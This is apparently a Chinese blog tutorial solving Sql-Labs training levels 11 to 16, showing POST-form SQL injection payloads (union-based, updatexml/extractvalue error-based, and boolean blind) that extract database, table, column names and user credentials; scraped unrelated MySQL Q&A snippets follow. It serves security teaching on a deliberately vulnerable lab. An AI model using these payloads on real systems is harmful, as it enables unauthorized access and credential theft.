基于Sql-Labs靶场的SQL注入-11~16关

2023-11-18

目录

Less-11:基于POST表单提交方式的字符型注入

爆破数据库名

爆破表名 

爆破列名 

爆破字段值 

Less-12:基于POST表单提交方式的字符型注入 

Less-13:基于POST表单提交方式的报错注入

爆破数据库名

爆破表名 

爆破列名 

爆破字段值 

Less-14:基于POST表单提交方式的报错注入

Less-15:基于POST表单提交方式的布尔盲注

猜解长度

猜解具体名字

猜解表长度

猜解表名

猜解列名长度 

猜解列名 

猜解字段值 

 Less-16:基于POST表单提交方式的布尔盲注

总结 


Less-11:基于POST表单提交方式的字符型注入


        进入靶场,会发现这一关是POST表单的提交方式,也就是输入账户密码进行提交。前面几关都是GET方法去提交请求,我们都是在网页的URL地址栏进行注入,这里是POST方法提交请求,那么注入点也就在表单的输入框中。

        这里我已经注入成功了,接下来我去讲一下这种POST表单类型的怎么去注入,其实方法和GET方法差不多,只不过输入注入语句的地方不一样了。

        首先要记住我们输入注入语句的地方是在表单里,首先我们输入用户名和密码分别为1-1去测试一下我们输入的东西被带入到数据库中没有。 

        可以看到页面回显了错误,说明我们输入的用户名和密码被带入到数据库后台做出了判断。其实我打完靶场发现,无论是GET方法发送请求还是POST方法发送请求,都必须要和后台数据库连接起来才可以注入,就像GET方法是在URL地址栏中与数据库进行连接,POST表单是在输入框中进行连接。只有当我们输入的东西和数据库有交互才可以在这个地方进行注入。

        其余操作其实和前面几关的基本操作就一样了,首先去测试一下注入点是什么,这里还要注意的就是有些时候他可能只允许你在用户名那一栏进行注入,而在密码栏中对你输入的语句进行了过滤,从而导致你注入不成功,这时候我们可以进行代码审计去看看哪一栏可以注入。要是没有源代码的话就每一栏都试一试。

        在11关中两栏都是可以注入的,都没有进行过滤,我们去测试注入点就可以,我们输入单引号做测试。

        可以看到页面出现报错了,这种情况注入点一般来说就是单引号了。我们输入语句测试数据库中有多少字段。

        在Username输入框输入语句:

1' order by 3 #

        这里注意注释符号是 # 而不是 --+ ,因为后台对注释符--进行了过滤。

        可以看到页面回显没有第三列,我们再去测试。

        在Username输入框输入语句:

1' order by 2 #

        页面回显:

        可以看到页面没有报错,列数为2。接下来去测试显示位。

        在Username输入框输入语句:

1' union select 1,2 #

        页面回显:

        可以看到不仅成功进入了登录成功页面而且给我们回显出来了显示位。

        接下来可以使用联合注入,报错注入,盲注等手段进行数据爆破。这里我采用联合注入。

爆破数据库名


        在Username输入框输入语句:

1' union select 1,database() #

        页面回显:      

        可以看到成功爆破了数据库名。

爆破表名 


         在Username输入框输入语句:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

        页面回显:

        可以看到回显了表名。

爆破列名 


        在Username输入框输入语句:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

        页面回显:

        可以看到成功爆破了列名。

爆破字段值 


         在Username输入框中输入语句:

1' union select 1,group_concat(0x7e,id,0x7e,username,0x7e,password) from users #

        页面回显:

        可以看到成功爆破了字段值。

        至此第十一关就结束了。

Less-12:基于POST表单提交方式的字符型注入 


        这一关注入点为 ")  其余操作都和第11关一样,这里就不在赘述了。

Less-13:基于POST表单提交方式的报错注入


        首先测试这一关的注入点是 ') ,之后测试该数据库有多少列。

        在Username输入框输入语句:

1') order by 3 #

        页面回显:

        

        根据报错发现列数少于三,再去测试二发现该数据库中有两列。之后判断显示位。

        在Username输入框输入语句:

1') union select 1,2 #

        页面回显:

        可以发现虽然我们成功登录了用户,但是没有显示位。没有显示位的情况下要第一时间想到使用报错注入,如果没有报错回显的话再考虑盲注。

        这里我们尝试使用报错注入,我这里使用双查询注入

爆破数据库名


        在Username输入框中输入语句:

1') union select count(*),concat(0x7e,database(),floor(rand(0)*2)) as a from information_schema.tables group by a #

        页面回显:

        可以看到成功爆破了数据库名。

爆破表名 


        因为是报错注入,所以会有输出限制,一般是32位限制,所以要用 limit 函数去限制输出,这里我只演示爆破其中一张表,其余表同理。

        这里我使用 updatexml() 函数报错注入。

        在Username输入框输入语句:

1') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),3) #

        页面回显:

        可以看到爆破了表名为 emails 的表。

爆破列名 


        这里我只爆破表“emalis”中的一个列名。

        这里我使用 extractvalue() 函数报错注入。

        在Username输入框中输入语句:

1') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1))) #

        页面回显:    

        可以看到爆破出了表“emails”中的第一列的列名。

爆破字段值 


         在Username输入语句:

1') and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) #

        页面回显: 

        可以看到页面回显了第一个字段值。

        到这里Less13就结束了。

Less-14:基于POST表单提交方式的报错注入


        第十四关和第十三关只有注入点不一样,第十四关的注入点是 " ,双引号为注入点,换一下注入点就可以了,其余操作同第十三关一样采用报错注入。

Less-15:基于POST表单提交方式的布尔盲注


        经过测试这一关的注入点为 ' ,然后测试列数为2。接下来测试一下显示位。

        输入语句:

1' union select 1,2 #

        页面回显: 

        可以看到虽然成功登录了,但是没有显示位,接下来我们首先尝试报错注入。

        输入语句:

1' and extractvalue(1,concat(0x7e,database())) #

        页面回显:

        可以看到并没有回显报错信息,说明没有报错回显。那就考虑一下盲注,这里观察到页面是有正确登录之后的显示和登录失败的显示的。所以这里考虑使用布尔盲注,如果是不管怎么样都只显示一种结果那就考虑时间盲注。

猜解长度


         输入语句:

1' or length(database())>8 #

        这里要注意的是不能使用关键字 and 了,要使用关键字 or ,因为我们输入的用户名和密码不一定正确,但是关键字 and 是前后都要进行判断是否正确,一旦我们输入的用户名和密码不对的话直接就判定错误了,没有办法执行我们的注入语句,但是 or 不一样,他的意思是前面的或者后面的,有一个正确就可以,就算我们用户名和密码不正确,但是后面的注入语句正确了,也可以。 

        页面回显:        

        可以看到页面还是回显错误,那说明数据库名字长度小于8,我们测试一下7。

        输入语句:

1' or length(database())>7 #

        页面回显:

        可以看到页面回显正常了,说明数据库名字长度大于7,那么数据库名字长度就是8。其余判断长度的方法都一样的。这里不在赘述。

猜解具体名字


        输入语句:

1' or left(database(),1)>'a' #

        页面回显:

        可以看到页面是正常登录的页面,说明数据库名字的第一个字母的ASCII码值是大于字母 'a' 的ASCII码值的。

        输入语句:

1' or left(database(),1)>'z' #

        页面回显:    

        页面回显错误,说明数据库名字的第一个字母的ASCII码值小于字母 'z' 的ASCII码值。通过这样测试最终就可以的猜解到字母是什么。这里不在赘述。

猜解表长度


        输入语句:

1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 #

        页面回显:

        页面回显错误,说明第一张表名字的长度小于6。

        输入语句:

1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 #

         页面回显:         

        可以看到出现了正常登录的界面,说明第一张表名字的长度小于5。所以表名的长度就是6。

猜解表名


         输入语句:

1' or left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'f' #

        页面回显:        

        可以看到页面回显错误,说明该表名名字的第一个字母的ASCII码值小于字母 'f' 的ASCII码值。之后就按照这种方法去测试就可以。这里不再赘述。

猜解列名长度 


        输入语句:

1' or length((select column_name from information_schema.columns where table_name='emails' limit 0,1))>3 #

        页面回显:     

        页面回显错误,说明 'emails' 表的第一列的名字长度小于3。

        输入语句:

1' or length((select column_name from information_schema.columns where table_name='emails' limit 0,1))>1 #

        页面回显:

        页面回显正常,说明 'emails' 表的第一列的名字长度大于1。所以列名长度为2。

猜解列名 


        输入语句:

1' or left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1)>'a' #

        页面回显:        

        可以看到出现了正常登录的界面,说明列名第一个字母的ASCII码值大于字母 'a' 的ASCII码值。

        输入语句

1' or ascii((select column_name from information_schema.columns where table_name='emails' limit 0,1))>127 #

        这条语句我使用了 ascii() 函数,该函数的含义是返回字符串最左边字符的ASCII码值。

        页面回显:

        说明该列名名字的第一个字母的ASCII码值小于127,使用语句测试出来该字母对应的ASCII码值就可以了,这里不在赘述。

猜解字段值 


        输入语句:

1' or left((select id from emails limit 0,1),1)>0 #

        页面回显:

        输入语句:

1' or left((select id from emails limit 0,1),1)>1 #

        页面回显:         

        可以推断第一个字段值是1。其他字段值这里不在赘述,推断方法如上。

        到这里第十五关就结束了。

 

 

 

 Less-16:基于POST表单提交方式的布尔盲注


        这一关和十五关用的方法一样,只不过注入点换成了 ")

总结 


        这里我讲述了POST提交方式的注入方法,用到的注入类型为联合注入、报错注入、布尔盲注三种。 

    

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

基于Sql-Labs靶场的SQL注入-11~16关 的相关文章

  • 如何根据条件删除结果以计算平均值

    我有下面的架构 对其的快速解释是 鲍勃评分为 5 5 詹姆斯评分 1 5 梅西百货评分高达 5 5 逻辑 如果我是 A 请查找我屏蔽的所有人 查阅所有电影评论 任何留下电影评论且 personA 已屏蔽的人 请将其从计算中删除 计算电影的平
  • 我应该定义索引(A)和索引(B),还是索引(A,B),或者两者都定义?

    在我的表中 我有两个密切相关的列 A 和 B 我应该考虑哪些因素来决定是否创建 索引 A 和索引 B 索引 A B 以上两者 如果我 仅使用类似的查询where A 5 and B 10 并且从不喜欢where A 5 也可以使用类似的查询
  • 在shell命令行中创建mysql触发器

    我需要在命令行中创建一个mysql触发器 这个sql在mysql控制台中运行良好 sql USE DB1 DROP TRIGGER IF EXISTS my trigger DELIMITER CREATE TRIGGER my trigg
  • 如何从 MySQL 中的布尔类型返回不同的字符串?

    如果我在 MySql 中将一列设置为布尔值 则查询将返回以下值 0 or 1 是否可以做这样的事情 SELECT bool value AS yes OR no 我的意思是 根据真假返回两个不同的字符串 SELECT CASE WHEN b
  • 在 Laravel 中按数据透视表 create_at 排序

    在我的数据库中 我有以下表格 courses id 名称 创建时间 更新时间 students id 名称 创建时间 更新时间 课程 学生 id course id student id created at updated at 我正在尝
  • 如何比较行内的重叠值?

    我似乎对这个 SQL 查询有问题 SELECT FROM appts WHERE timeStart gt timeStart AND timeEnd lt timeEnd AND dayappt boatdate 时间格式为军用时间 物流
  • 选择前 n 个字符相等的行(MySQL)

    我有一张带有玩家句柄的桌子 如下所示 1 N Laka 2 N James 3 nor Brian 4 nor John 5 Player 2 6 Spectator 7 N Joe 从那里我想选择第一个 n 字符匹配的所有玩家 但我不知道
  • 外键和索引

    我有 2 张桌子 products and 类别 每个类别有很多产品 一个产品可以属于多个类别 products product id int primary auto increment name unique etc 类别 catego
  • 当与“<”或“>”运算符一起使用时,MySQL 不使用 DATE 上的索引吗?

    我正在使用解释来测试这些查询 col 类型是 DATE 这使用索引 explain SELECT events FROM events WHERE events date 2010 06 11 这不 explain SELECT event
  • 是否可以将新表和旧表从触发器传递到 MySQL 中的过程中?

    是否可以将新表和旧表从触发器传递到 MySQL 中的过程中 我怀疑不会 因为没有过程接受的表这样的数据类型 有什么可能的解决方法吗 理想情况下它看起来像这样 CREATE TRIGGER Product log AFTER UPDATE O
  • 当复选框条件更改时,如何使用ajax更新mysql数据库?

    我有一个在客户端按行显示的文章表 每篇文章都有一个唯一的 ID 并包含一个复选框以指示该文章是否被选中为收藏夹 如果它是最喜欢的 则该复选框已被选中 如果没有 则未选中 现在 如果特定于每一行的复选框条件发生变化 我需要 js 或 jque
  • 如何使用wireshark清晰捕获mysql查询sql

    因为我们使用远程开发Mysql服务器 所以不能轻易检查查询sql 如果使用本地服务器可以tail f general log file查看调用某个http接口时执行了哪些sql 所以我安装了一个wireshark捕获这些从本地发送的查询sq
  • 无法在 .net core 2 中从 MySQL 构建“日期”类型列

    我已经开始了一个新的 net core 2 项目 我正在尝试将 MySQL 数据库导入实体框架 我使用此命令来搭建数据库 Scaffold DbContext server localhost port 3306 user id user
  • 如何导出带有数据的 MySQL 架构?

    我有一个完整的架构 其中有许多表 其中包含 MySQL 查询浏览器中的数据 现在我想将这个包含所有表 数据的完整数据库发送给我的同事 我怎样才能将其发送给我的同事 以便他可以将这个完整的架构放入他的 MySQL 查询浏览器中 Thanks
  • MySQL集群启动失败

    这不是我第一次创建ndbcluster 但我没有收到这样的问题 我正在关注本手册 https hub docker com r mysql mysql cluster by mysql团队 我正在使用回显的默认配置在此 GitHub 存储库
  • 加载数据infile,Windows和Linux的区别

    我有一个需要导入到 MySQL 表的文件 这是我的命令 LOAD DATA LOCAL INFILE C test csv INTO TABLE logs fields terminated by LINES terminated BY n
  • MySQL - 多个结果集

    我正在使用 NET Connector 连接到 MySQL 在我的应用程序中 很少有线程使用相同的连接 因此如果 MySQLDataReader 尚未关闭并且某个线程正在尝试执行查询 则会出现该错误 已经有一个打开的 DataReader
  • MySQL 将表从 Latin1 转换为 utf8

    我需要将包含大量数据的表从 Latin1 转换为 utf8 以便它可以接受韩语字符 如何更改该表而不损坏其中的数据 我的 SQL 语句是什么 最好的方法是什么 ALTER TABLE database name table name CON
  • 使用连接池后如何处理过多的并发连接?

    Scenario 假设您有一个拥有大量流量的网站或应用程序 即使使用数据库连接池 性能也会受到真正的打击 站点 应用程序甚至可能崩溃 因为并发连接太多 Question 人们有什么选择来处理这个问题 我的想法 我在想有这个问题的人可以创建多
  • WHERE NOT EXIST 附近的语法错误

    我在堆栈中搜索 但没有一个达到最终答案 我的查询是这样的 INSERT INTO user username frequence autoSend VALUES feri2 3 1 WHERE NOT EXISTS SELECT FROM

随机推荐